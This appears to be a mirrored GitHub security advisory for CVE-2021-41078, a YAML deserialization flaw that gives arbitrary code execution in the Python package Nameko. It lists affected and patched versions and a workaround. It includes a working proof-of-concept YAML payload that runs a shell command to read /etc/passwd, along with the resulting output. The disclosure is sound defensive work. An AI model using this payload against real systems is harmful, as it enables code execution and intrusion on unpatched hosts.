Опубликовано: 19 окт. 2021
Источник: github
Github: Прошло ревью
CVSS4: 9.3
CVSS3: 8.6
Описание
Nameko Arbitrary code execution due to YAML deserialization
Impact
Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Patches
The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.
Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.
Workarounds
The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.
Ссылки
- https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g
- https://nvd.nist.gov/vuln/detail/CVE-2021-41078
- https://github.com/nameko/nameko/releases/tag/v2.14.0
- https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10
- https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml
Пакеты
Наименование
nameko
pip
Затронутые версииВерсия исправления
< 2.14.0
2.14.0
Наименование
nameko
pip
Затронутые версииВерсия исправления
>= 3.0.0rc0, <= 3.0.0rc9
3.0.0rc10
Связанные уязвимости
CVSS3: 7.8
nvd
больше 4 лет назад
Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.